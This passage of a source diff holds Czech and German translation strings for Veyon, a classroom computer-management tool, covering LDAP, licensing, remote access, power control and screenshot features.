computer rooms + počítačové místnosti + + + computer room attribute + atribut počítačová místnost + + + Please enter the name of a computer room whose members to query: + Zadejte název počítačové místnosti na jejíž členy se chcete dotázat: + + + computer room members + členové počítačové místnosti + + + computer group filter or computer room member aggregation + filtr skupin počítačů nebo seskupování členů počítačové místnosti + + + Computer rooms + Počítačové místnosti + + + Integration tests + Integrační testy + + + Computer room attribute + Atribut počítačová místnost + + + Aggregate computers in a room via: + Sloučit počítače v místnosti prostřednictvím: + + + Computer groups + Skupiny počítačů + + + Computer room attribute in computer objects + Atribut počítačová místnost v objektech počítačů + + + Test not applicable + Test není aplikovatelný + + + Computer room name attribute + Atribut název počítačové místnosti + + + e.g. name or description + např. název nebo popis + + + Filter for computer containers + Filtrovat dle kontejnerů s počítači + + + Computer containers or OUs + Kontejnery s počítači nebo organizační jednotky + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Změňte nastavení počítačové místnosti pokud chcete aby pro tento účel byly používány kontejnery s počítači. Pak bude dotazováno na zadaný atribut namísto běžného názvu (CN) skupiny počítačů nebo nadřazeného objektu. Jinak tento atribut není třeba nastavovat. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Změňte nastavení počítačové místnosti pokud chcete aby pro tyto účely byly používány kontejnery s počítači. Jinak tento filtr není třeba nastavovat. + + + Connection security + Zabezpečení připojení + + + TLS certificate verification + Ověření TLS certifikátu + + + System defaults + Výchozí systémové + + + Never (insecure!) + Nikdy (nezabezpečené!) + + + Custom CA certificate file + Uživatelsky určený soubor s certifikátem cert. autority + + + None + Žádné + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + např. (objectClass=computer) + + + e.g. (objectClass=group) + např. (objectClass=group) + + + e.g. (objectClass=person) + např. (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + např. (objectClass=room) nebo (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + např. (objectClass=container) nebo (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Nedaří se dotázat na nastavený základ rozlišeného názvu. Zkontrolujte parametr základu DN. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + Základ LDAP DN byl úspěšně dotázán. Byly nalezeny následující položky: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Nedaří se dotázat na základ rozlišeného názvu prostřednictvím názvového kontextu. Zkontrolujte parametr atributu kontextu názvů. + + + Certificate files (*.pem) + Soubory certifikátů (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Nedaří se připojit na LDAP server. Zkontrolujte parametry serveru. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Nedaří se přihlásit k LDAP serveru. Zkontrolujte parametry serveru a přihlašovací údaje. + + + Encryption protocol + Šifrovací protokol + + + + LdapPlugin + + Auto-configure the base DN via naming context + Automaticky nastavit základ rozliš. názvu (DN) prostřednictvím kontextu pojmenování + + + Query objects from LDAP directory + Dotazovat se na objekty z LDAP adresáře + + + Show help about command + Zobrazit nápovědu k příkazu + + + Commands for configuring and testing LDAP/AD integration + Příkazy pro nastavování a testování napojení na LDAP/AD + + + Provide LDAP/AD integration for Veyon + Poskytnout LDAP/AD začlenění pro Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (načíst počítače a místnosti z LDAP/AD) + + + LDAP (load users and groups from LDAP/AD) + LDAP (načíst uživatele a skupiny z LDAP/AD) + + + + LicensingConfigurationPage + + Licensing + Licencování + + + Installed licenses + Nainstalované licence + + + Add new network range + Přidat nový síťový rozsah + + + Remove selected network range + Odebrat označený síťový rozsah + + + ID + Identif. + + + Feature + Funkce + + + Valid until + Platné do + + + Licensee + Držitel licence + + + Browse license file + Nalistovat soubor s licencí + + + Veyon license files (*.vlf) + Soubory s licencí pro Veyon (*.vlf) + + + Remove license + Odebrat licenci + + + Do you really want to remove the selected license? + Opravdu chcete odebrat vybranou licenci? + + + <N/A> + <N/A> + + + Invalid license file + Neplatný soubor s licencí + + + Could not open the license file for reading! + Nedaří se otevřít soubor s licencí pro čtení! + + + The selected license file does not contain valid data. + Zvolený soubor s licencí neobsahuje platná data. + + + The selected license file could not be verified. + Zvolený soubor s licencí se nepodařilo ověřit. + + + The selected license file is not valid for this installation. + Zvolený soubor s licencí není platný pro tuto instalaci. + + + The selected license file is expired. + Platnost zvoleného souboru s licencí skončila. + + + The license is already installed. + Tato licence už je nainstalována. + + + + LicensingPlugin + + Show help for specific command + Zobrazit nápovědu pro konkrétní příkaz + + + Show all installed licenses + Zobrazit všechny nainstalované licence + + + Add license file + Přidat licenční soubor + + + Remove installed license + Odebrat nainstalovanou licenci + + + +USAGE + +%1 add <LICENSE FILE> + + + +POUŽITÍ + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +POUŽITÍ + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + U daného identif. nenalezen certifikát + + + <N/A> + <N/A> + + + Licensing management + Správa licencí + + + Commands for managing license keys + Příkazy pro správu licenčních klíčů + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Zásuvný modul implementující abstrahující funkce pro Linuxovou platformu + + + + MainToolBar + + Configuration + Nastavení + + + Disable balloon tooltips + Nezobrazovat popisky nástrojů + + + Show icons only + Zobrazovat pouze ikony + + + + MainWindow + + MainWindow + Hlavní Okno + + + toolBar + Lišta nástrojů + + + General + Obecné + + + &File + S&oubor + + + &Help + &Nápověda + + + &Quit + &Ukončit + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + Načíst nastavení ze soub&oru + + + Ctrl+O + Ctrl+O + + + About Qt + O aplikačním rámci (framework) Qt + + + Authentication impossible + Ověření není možné + + + Configuration not writable + Nastavení není přístupné pro zápis + + + Load settings from file + Načíst nastavení ze souboru + + + Save settings to file + Uložit nastavení do souboru + + + Unsaved settings + Neuložená nastavení + + + There are unsaved settings. Quit anyway? + Některá nastavení doposud nebyla uložena. Ukončit i tak? + + + Veyon Configurator + Nastavení pro Veyon + + + Service + Služba + + + Master + Řídící + + + Access control + Řízení přístupu + + + About Veyon + O aplikaci Veyon + + + Auto + Automaticky + + + Computer rooms + Počítačové místnosti + + + About + O aplikaci + + + %1 Configurator %2 + %1 nastavení %2 + + + JSON files (*.json) + Soubory JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + Podpůrná vrstva (backend) nastavení na tomto počítači hlásí, že do nastavení nelze zapisovat! Spusťte konzolu pro správu %1 s vyššími oprávněními. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Nebyly nalezeny žádné ověřovací klíče nebo jsou ty vámi právě používané zastaralé. Vytvořte nové soubory s klíči pomocí konzole pro správu %1. Případně můžete v konzoli pro správu %1 nastavit ověřování přihlášením. Pokud tak neučiníte, nebudete moci přistupovat k počítačům pomocí %1. + + + Access denied + Přístup odepřen + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Podle místního nastavení vám není umožněn přístup k počítačům na síti. Přihlaste se jiným účtem nebo se obraťte na správce systémů ohledně kontroly místního nastavení. + + + Screenshots + Snímky obrazovky + + + Feature active + Funkce aktivní + + + The feature "%1" is still active. Please stop it before closing %2. + Funkce „%1“ je pořád aktivní. Ukončete ji a až teprve potom ukončete %2. + + + Reset configuration + Resetovat nastavení + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Opravdu chcete resetovat místní nastavení a vrátit veškerá nastavení do výchozích hodnot? + + + Search users and computers + Hledání uživatelů a počítačů + + + Adjust optimal size + Upravit optimální velikost + + + Align computers to grid + Zarovnat počítače do mřížky + + + Use custom computer placement + Použít uživatelsky určené umístění počítače + + + %1 Configurator + Nastavení %1 + + + Insufficient privileges + Nedostatečná oprávnění + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Nedaří se spustit s oprávněními správce. Ověřte že je v desktopovém prostředí nainstalovaný program typu sudo ! Program bude spuštěný s běžnými uživatelskými oprávněními. + + + Only show powered on computers + Zobrazit pouze zapnuté počítače + + + &Save settings to file + Uložit na&stavení do souboru + + + &View + &Zobrazení + + + &Standard + &Standardní + + + &Advanced + &Pokročilé + + + + MasterConfigurationPage + + Directories + Složky + + + ... + … + + + User configuration + Nastavení uživatele + + + Feature on computer double click: + Funkce při dvojkliku na počítač: + + + Automatically switch to current room at start + Při spuštění automaticky přepnout do stávající místnosti + + + Features + Funkce + + + All features + Veškeré funkce + + + Disabled features + Vypnuté funkce + + + Perform access control at program start + Provádět při spouštění aplikace řízení přístupu + + + Screenshots + Snímky obrazovky + + + <no feature> + <žádná funkce> + + + Automatically adjust computer thumbnail size at start + Při spouštění automaticky přizpůsobit velikost náhledu počítače + + + Basic settings + Základní nastavení + + + Behaviour + Chování + + + Enforce selected mode for client computers + Vynutit vybraný režim pro klientské počítače + + + Only show current room + Zobrazit pouze stávající mísntost + + + Allow adding rooms manually + Umožnit ruční přidávání místností + + + Hide local computer + Skrýt tento počítač + + + Hide empty rooms + Skrýt prázdné místnosti + + + Hide computer filter field + Skrýt kolonku filtr počítačů + + + Actions such as rebooting or powering down computers + Akce jako například restart nebo vypnutí počítačů + + + Show confirmation dialog for potential dangerous actions + Zobrazovat potvrzovací dialog pro potenciálně nebezpečné akce + + + User interface + Uživatelské rozhraní + + + Background color + Barva pozadí + + + Thumbnail update interval + Interval aktualizace náhledu + + + ms + ms + + + Program start + Spuštění aplikace + + + Modes and features + Režimy a funkce + + + User and computer name + Uživatel a název počítače + + + Only user name + Pouze uživatelské jméno + + + Only computer name + Pouze název počítače + + + Computer thumbnail caption + Titulek náhledu počítače + + + Computer rooms + Počítačové místnosti + + + Automatically open computer rooms widget + Automaticky otevřít ovládací prvek počítačových místností + + + Text color + Barva textu + + + Sort order + Pořadí řazení + + + Computer and user name + Počítač a uživatelské jméno + + + + MonitoringMode + + Monitoring + Dohledování + + + Builtin monitoring mode + Režim vestavěného dohledování + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Toto je výchozí režim a umožňuje monitorovat veškeré počítače v jedné a více místnostech. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Prozkoumávání sítě + + + Mode + Režim + + + Scan network ranges + Skenovat síťové rozsahy + + + e.g. 192.168.1.0/24 + např. 192.168.1.0/24 + + + Scan all subnets of computer + Skenovat všechny podsítě počítače + + + Scan custom subnet + Skenovat uživatelsky určenou podsíť + + + Scan sessions on local computer + Skenovací relace na tomto počítači + + + Test + Vyzkoušet funkčnost + + + Network ranges + Síťové rozsahy + + + Add new group + Přidat novou skupinu + + + Remove selected group + Odebrat označenou skupinu + + + Groups + Skupiny + + + First address + První adresa + + + Last address + Poslední adresa + + + Add new network range + Přidat nový síťový rozsah + + + Remove selected network range + Odebrat označený síťový rozsah + + + Parallel scans + Souběžné skeny + + + Scan timeout + Časový limit skenování + + + ms + ms + + + Session scan limit + Limit skenu relace + + + New group + Nová skupina + + + Options + Volby + + + Reverse lookup discovered IP addresses to host names + Překládat objevené IP adresy na názvy strojů + + + + NetworkDiscoveryDirectory + + Scanning... + Skenování… + + + Discovered computers + Objevené počítače + + + + NetworkDiscoveryPlugin + + Show help for specific command + Zobrazit nápovědu pro konkrétní příkaz + + + Scan a subnet + Skenovat podsíť + + + +USAGE + +%1 scan [<SUBNET>] + + + +POUŽITÍ + +%1 scan [<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + Adresář síťových objektů který automaticky objevuje počítače v síti + + + Network discovery (scan network for Veyon clients) + Průzkum sítě (skenuje přítomnost Veyon klientů na síti) + + + Commands for managing the network discovery directory + Příkazy pro správu adresáře průzkumu sítě + + + + NetworkObjectTreeModel + + Room/Computer + Místnost/počítač + + + + PasswordDialog + + Username + Uživatelské jméno + + + Password + Heslo + + + Veyon Logon + Veyon přihlášení + + + Authentication error + Chyba ověření + + + Logon failed with given username and password. Please try again! + Přihlášení daným uživatelským jménem a heslem se nezdařilo. Zkuste to znovu! + + + Please enter your username and password in order to access computers. + Zadejte své uživatelské jméno a heslo pro přístup k počítačům. + + + + PowerControlFeaturePlugin + + Power on + Zapnout + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Kliknutím na toto tlačítko zapnete všechny počítače. Takto není třeba jednotlivě zapínat každý z počítačů ručně. + + + Reboot + Restartovat + + + Click this button to reboot all computers. + Kliknutím na toto tlačítko restartujete všechny počítače. + + + Power down + Vypnout + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Kliknutím na toto tlačítko vypnete všechny počítače. Takto není třeba jednotlivě vypínat každý z počítačů ručně. + + + Power on/down or reboot a computer + Zap./vyp. nebo restartovat počítač + + + Confirm reboot + Potvrdit restart + + + Confirm power down + Potvrdit vypnutí + + + Do you really want to reboot the selected computers? + Opravdu chcete vybrané počítače restartovat? + + + Do you really want to power down the selected computer? + Opravdu chcete vybrané počítače vypnout? + + + Power on a computer via Wake-on-LAN (WOL) + Zapnout počítač prostřednictvím probouzení po síti (WoL) + + + MAC ADDRESS + MAC ADRESA + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Tento příkaz vyšle na celou síť probouzecí (WoL) paket, kterými probudí počítač s danou MAC adresou. + + + Please specify the command to display help for! + Zadejte příkaz pro který chcete zobrazit nápovědu! + + + Invalid MAC address specified! + Zadána neplatná MAC adresa! + + + Commands for controlling power status of computers + Příkazy pro řízení stavu napájení počítačů + + + + RemoteAccessFeaturePlugin + + Remote view + Vzdálený pohled + + + Open a remote view for a computer without interaction. + Otevřít vzdálený pohled na počítač bez interakce. + + + Remote control + Vzdálené ovládání + + + Open a remote control window for a computer. + Otevřít okno ovládání počítače na dálku. + + + Remote access + Vzdálený přístup + + + Remote view or control a computer + Pohled na nebo ovládání počítače na dálku + + + Please enter the hostname or IP address of the computer to access: + Zadejte název nebo IP adresu počítače ke kterému přistoupit: + + + Show help about command + Zobrazit nápovědu k příkazu + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 – %2 vzdálený přístup + + + + RemoteAccessWidgetToolBar + + View only + Pouze zobrazovat + + + Remote control + Ovládání na dálku + + + Send shortcut + Odeslat klávesovou zkratku + + + Fullscreen + Celá obrazovka + + + Window + Okno + + + Quit + Ukončit + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Připojování k %1… + + + Connected. + Připojeno. + + + Screenshot + Snímek obrazovky + + + + RoomSelectionDialog + + Room selection + Výběr místnosti + + + enter search filter... + zadejte vyhledávací filtr… + + + + Routing + + Control internet access by modifying routing table + Ovládá přístup k Internetu prostřednictvím upravování směrovacích tabulek + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Odebrat výchozí trasy pro blokování přístupu k Internetu + + + Add custom route to block internet + Přidat uživatelsky určenou trasu pro blokování přístupu k Internetu + + + Destination + Cíl + + + Gateway + Brána + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Zadejte aplikace nebo příkazy které mají být spuštěné na označených počítačích. Každou z aplikací/příkazů uvádějte na samostatný řádek + + + Run programs + Spustit aplikace + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + např.: "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Uzamknout + + + Unlock + Odemknout + + + Lock screen and input devices of a computer + Uzamknout obrazovku a vstupní zařízení počítače + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Abyste upoutali plnou pozornost všech uživatelů, můžete jim pomocí tohoto tlačítka uzamknout jejich počítače. Ty v tomto režimu nebudou reagovat na klávesnici a myš a jejich obrazovky potemní. + + + + Screenshot + + unknown + Neznámé + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Nepodařilo se pořídit snímek obrazovky protože složka %1 neexistuje a nepodařilo se ji vytvořit. + + + Screenshot + Snímek obrazovky + + + + ScreenshotFeaturePlugin + + Screenshot + Snímek obrazovky + + + Use this function to take a screenshot of selected computers. + Pomocí této funkce je možné pořizovat snímky obrazovky označených počítačů. + + + Screenshots taken + Snímek obrazovky zachycen + + + Screenshot of %1 computer have been taken successfully. + Snímek obrazovky počítače %1 úspěšně pořízen. + + + Take screenshots of computers and save them locally. + Pořizovat snímky obrazovek počítačů a ukládat je místně. + + + + ScreenshotManagementView + + User: + Uživatel: + + + Date: + Datum: + + + Time: + Čas: + + + Show + Zobrazit + + + Delete + Smazat + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Zde jsou vypsány veškeré snímky obrazovky, které jste pořídili. Snímky je možné pořídit kliknutím na položku „Snímek obrazovky“ v kontextové nabídce počítače. Snímky obrazovky je možné spravovat pomocí níže se nacházejícího tlačítka. + + + Computer: + Počítač: + + + + ServiceConfigurationPage + + General + Obecné + + + Autostart + Spouštět automaticky + + + Hide tray icon + Skrýt ikonu v oznamovací oblasti + + + Start service + Spustit službu + + + Stopped + Zastaveno + + + Stop service + Zastavit službu + + + State: + Stav: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Zapnout vytváření SAS pomocí software (Ctrl+Alt+Del) + + + Network + Síť + + + Demo server port + Port ukázkového serveru + + + Enable firewall exception + Vytvořit výjimku na bráně firewall + + + Allow connections from localhost only + Umožnit připojení pouze v rámci tohoto počítače (localhost) + + + Internal VNC server port + Port vnitřního VNC serveru + + + VNC server + VNC server + + + Plugin: + Zásuvný modul: + + + Restart %1 Service + Restartovat službu %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Všechna nastavení byla úspěšně uložena. Aby se změny projevily, je třeba restartovat službu %1 – provést nyní? + + + Running + Spuštěné + + + Feature manager port + Port správce funkce + + + Primary service port + Port hlavní služby + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + Zapnutím této volby bude serverový proces spouštěn pro každé z interaktivních sezení na počítači. +Typicky je toto třeba na terminálových serverech. + + + Multi session support (experimental) + Podpora vícero sezení (experimentální) + + + Show notification on remote connection + Zobrazovat upozornění na připojení na dálku + + + Show notification on failed authentication attempts + Zobrazovat upozornění při nezdařených pokusech o ověření + + + + ServiceControl + + Starting service %1 + Spouštění služby %1 + + + Stopping service %1 + Zastavování služby %1 + + + Registering service %1 + Registrace služby %1 + + + Unregistering service %1 + Rušení registrace služby %1 + + + Service control + Řízení služby + + + + ServiceControlPlugin + + Service is running + Služba je spuštěná + + + Service is not running + Služba není spuštěná + + + Configure and control Veyon service + Nastavit a ovládat službu Veyon + + + Register Veyon Service + Zaregistrovat službu Veyon + + + Unregister Veyon Service + Zrušit registraci služby Veyon + + + Start Veyon Service + Spustit službu Veyon + + + Stop Veyon Service + Zastavit službu Veyon + + + Restart Veyon Service + Restartovat službu Veyon + + + Query status of Veyon Service + Dotázat se na stav služby Veyon + + + Commands for configuring and controlling Veyon Service + Přikazy pro nastavování a ovládání služby Veyon + + + + ShellCommandLinePlugin + + Run command file + Spustit příkazový soubor + + + File "%1" does not exist! + Soubor „%1“ neexistuje! + + + Interactive shell and script execution for Veyon Control + Interaktivní vykonávání shellu a skriptu pro ovládání Veyon + + + Commands for shell functionalities + Příkazy pro shellové funkce + + + + SystemTrayIcon + + System tray icon + Ikona v oznamovací oblasti systémového panelu + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Podpůrná vrstva uživatelských skupin pro systémové uživatelské skupiny + + + Default (system user groups) + Výchozí (systémové uživatelské skupiny) + + + + TextMessageDialog + + Send text message + Poslat textovou zprávu + + + Use the field below to type your message which will be sent to all selected users. + Do kolonky níže zadejte svou zprávu, určenou všem označeným uživatelům. + + + + TextMessageFeaturePlugin + + Text message + Textová zpráva + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Pomocí této funkce je možné poslat textovou zprávu všem uživatelům – např. jim zadat nové úkoly. + + + Message from teacher + Zpráva od vyučujícího + + + Send a message to a user + Poslat uživateli zprávu + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Zapnout zachytávání vrstvených (jako by průhledných) oken + + + Poll full screen (leave this enabled per default) + Zjišťovat z celé obrazovky (ponechte zapnuté jako výchozí) + + + Low accuracy (turbo mode) + Nízká přesnost (rychlé) + + + Builtin UltraVNC server configuration + Nastavení vestavěného UltraVNC serveru + + + Enable multi monitor support + Zapnout podporu vícero monitorů + + + Enable Desktop Duplication Engine on Windows 8 and newer + Zapnout Desktop Duplication Engine na Windows 8 a novějších + + + + UserConfig + + No write access + Do daného umístění nelze zapisovat + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Nedaří se uložit vaše osobní nastavení! Zkontrolujte popis umístění souboru s uživatelskými nastaveními v nastavení %1. + + + + UserSessionControl + + User session control + Ovládání relace uživatele + + + Click this button to logout users from all computers. + Kliknutím na toto tlačítko ze všech počítačů odhlásíte uživatele. + + + Confirm user logout + Potvrdit odhlášení uživatele + + + Do you really want to logout the selected users? + Opravdu chcete označené uživatele odhlásit? + + + Logout + Odhlásit + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [NEZDAR] + + + Invalid command! + Neplatný příkaz! + + + Available commands: + Příkazy k dispozici: + + + Invalid arguments given + Zadány neplatné argumenty + + + Not enough arguments given - use "%1 help" for more information + Nebyl zadán dostatek parametrů – další informace poskytne „%1 help“ + + + Unknown result! + Neznámý výsledek! + + + Available modules: + Moduly k dispozici: + + + No module specified or module not found - available modules are: + Modul nebyl určen nebo nalezen – k dispozici jsou moduly: + + + Plugin not licensed + Zásuvný modul není licencován + + + INFO + INFORMACE + + + ERROR + CHYBA + + + licensed for + licencováno pro + + + + VeyonServiceControl + + Veyon Service + Služba Veyon + + + + VncView + + Establishing connection to %1 ... + Připojování k %1… + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Zásuvný modul implementující abstrahující funkce pro platformu Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + Řízení služeb Windows: služba „%1“ je už nainstalovaná. + + + WindowsServiceControl: the service "%1" could not be installed. + Řízení služeb Windows: službu „%1“ není možné nainstalovat. + + + WindowsServiceControl: the service "%1" has been installed successfully. + Řízení služeb Windows: služba „%1“ byla úspěšně nainstalována. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + Řízení služeb Windows: služba „%1“ nemůže být odinstalována. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + Řízení služeb Windows: služba „%1“ byla úspěšně odinstalována. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + Řízení služeb Windows: typ spouštění služby „%1“ nemůže být změněn. + + + WindowsServiceControl: service "%1" could not be found. + Řízení služeb Windows: služba „%1“ nebyla nalezena. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Nastavení vestavěného x11vnc serveru + + + Custom x11vnc parameters: + Vlastní parametry pro x11vnc: + + + Do not use X Damage extension + Nezjišťovat změny ve zobrazení pomocí rozšíření Damage pro X zobrazovací server + + + \ No newline at end of file diff --git a/translations/de_DE.ts b/translations/de_DE.ts new file mode 100644 index 0000000..51a3a46 --- /dev/null +++ b/translations/de_DE.ts @@ -0,0 +1,3926 @@ + + + AboutDialog + + About + Über + + + Translation + Übersetzung + + + License + Lizenz + + + About Veyon + Über Veyon + + + Contributors + Mitwirkende + + + Version: + Version: + + + Website: + Website: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Deutsche Übersetzung von Tobias Junghans. + + + About %1 %2 + Über %1 %2 + + + Support Veyon project with a donation + Unterstützen Sie das Veyon-Projekt mit einer Spende + + + + AccessControlPage + + Computer access control + Computerzugriffskontrolle + + + Grant access to every authenticated user (default) + Jedem authentifizierten Benutzer Zugriff erlauben (Standard) + + + Test + Testen + + + Restrict access to members of certain user groups + Zugriff auf Mitglieder bestimmter Benutzergruppen einschränken + + + Process access control rules + Zugriffskontrollregeln abarbeiten + + + User groups authorized for computer access + Autorisierte Benutzergruppen für Computerzugriff + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Bitte geben Sie die Gruppen an, deren Mitgliedern es erlaubt sein soll, auf Computer in Ihrem Veyon-Netzwerk zuzugreifen. + + + Authorized user groups + Autorisierte Benutzergruppen + + + All groups + Alle Gruppen + + + ... + ... + + + Access control rules + Zugriffskontrollregeln + + + Add access control rule + Zugriffskontrollregel hinzufügen + + + Remove access control rule + Zugriffskontrollregel entfernen + + + Move selected rule down + Gewählte Regel nach unten schieben + + + Move selected rule up + Gewählte Regel nach oben schieben + + + Edit selected rule + Gewählte Regel bearbeiten + + + Enter username + Benutzername eingeben + + + Please enter a user login name whose access permissions to test: + Bitte geben Sie einen Benutzername ein, dessen Zugriffsberechtigungen getestet werden sollen: + + + Access allowed + Zugriff erlaubt + + + The specified user is allowed to access computers with this configuration. + Der angegebene Benutzer darf mit dieser Konfiguration auf Computer zugreifen. + + + Access denied + Zugriff verweigert + + + The specified user is not allowed to access computers with this configuration. + Der angegebene Benutzer darf mit dieser Konfiguration nicht auf Computer zugreifen. + + + Enable usage of domain groups + Verwendung von Domaingruppen aktivieren + + + User groups backend: + Benutzergruppen-Backend: + + + Missing user groups backend + Fehlendes Benutzergruppen-Backend + + + No default user groups plugin was found. Please check your installation! + Es wurde kein Benutzergruppen-Plugin gefunden. Bitte überprüfen Sie Ihre Installation! + + + + AccessControlRuleEditDialog + + Edit access control rule + Zugriffskontrollregel bearbeiten + + + General + Allgemein + + + enter a short name for the rule here + Kurznamen für Regel eingeben + + + Rule name: + Regelname: + + + enter a description for the rule here + Beschreibung für Regel eingeben + + + Rule description: + Regelbeschreibung: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Alle Bedingungen umkehren ("ist/hat" wird als "ist/hat nicht" interpretiert) + + + Conditions + Bedingungen + + + is member of group + ist Mitglied von Gruppe + + + is located in room + befindet sich im Raum + + + Accessing computer is localhost + Zugreifender Computer ist localhost + + + Accessing user is logged on user + Zugreifender Benutzer ist angemeldeter Benutzer + + + Accessing user is already connected + Zugreifender Benutzer ist bereits verbunden + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Wenn mehr als eine Bedingung aktiviert wird muss jede Bedingung zutreffen, damit die Regel angewendet wird (logisches UND). Wenn nur eine von mehreren Regeln zutreffen soll (logisches ODER) erstellen Sie bitte mehrere Zugriffskontrollregeln. + + + Action + Aktion + + + Allow access + Zugriff erlauben + + + Deny access + Zugriff verweigern + + + Ask logged on user for permission + Angemeldeten Benutzer um Erlaubnis fragen + + + None (rule disabled) + Keine (Regel deaktiviert) + + + Accessing user + Zugreifender Benutzer + + + Accessing computer + Zugreifender Computer + + + Local (logged on) user + Lokaler (angemeldeter) Benutzer + + + Local computer + Lokaler Computer + + + Always process rule and ignore conditions + Regel immer verarbeiten und Bedingungen ignorieren + + + No user logged on + Kein Benutzer angemeldet + + + Accessing computer is located in the same room as local computer + Zugreifender Computer befindet sich im selben Raum wie der lokale Computer + + + Accessing user has one or more groups in common with local (logged on) user + Zugreifender Benutzer hat eine oder mehrere gemeinsame Gruppen mit lokalem (angemeldeten) Benutzer + + + + AccessControlRulesTestDialog + + Access control rules test + Test Zugriffskontrollregeln + + + Accessing user: + Zugreifender Benutzer: + + + Local computer: + Lokaler Computer: + + + Accessing computer: + Zugreifender Computer: + + + Please enter the following user and computer information in order to test the configured ruleset. + Bitte geben Sie die folgenden Benutzer- und Computerinformationen ein, um das konfigurierte Regelwerk zu testen. + + + Local user: + Lokaler Benutzer: + + + Connected users: + Verbundene Benutzer: + + + The access in the given scenario is allowed. + Der Zugriff wird im angegebenen Szenario erlaubt. + + + The access in the given scenario is denied. + Der Zugriff wird im angegebenen Szenario verweigert. + + + The access in the given scenario needs permission of the logged on user. + Der Zugriff benötigt im angegebenen Szenario die Erlaubnis des angemeldeten Benutzers. + + + ERROR: Unknown action + FEHLER: Unbekannte Aktion + + + Test result + Testergebnis + + + + AuthKeysConfigurationPage + + Authentication keys + Authentifizierungsschlüssel + + + Introduction + Einführung + + + Key file directories + Schlüsseldateiverzeichnis + + + Public key file base directory + Basisverzeichnis der öffentlichen Schlüsseldatei + + + Private key file base directory + Basisverzeichnis der privaten Schlüsseldatei + + + ... + ... + + + Available authentication keys + Verfügbare Authentifizierungsschlüssel + + + Create key pair + Schlüsselpaar erzeugen + + + Delete key + Schlüssel löschen + + + Import key + Schlüssel importieren + + + Export key + Schlüssel exportieren + + + Set access group + Zugriffsgruppe setzen + + + Key files (*.pem) + Schlüsseldateien (*.pem) + + + Authentication key name + Authentifizierungsschlüsselname + + + Please enter the name of the user group or role for which to create an authentication key pair: + Bitte geben Sie den Namen der Benutzergruppe oder -rolle ein, für die ein Authentifizierungsschlüsselpaar erzeugt werden soll: + + + Do you really want to delete authentication key "%1/%2"? + Möchten Sie den Authentifizierungsschlüssel "%1/%2" wirklich löschen? + + + Please select a key to delete! + Bitte wählen Sie den zu löschenden Schlüssel! + + + Please enter the name of the user group or role for which to import the authentication key: + Bitte geben Sie den Namen der Benutzergruppe oder -rolle 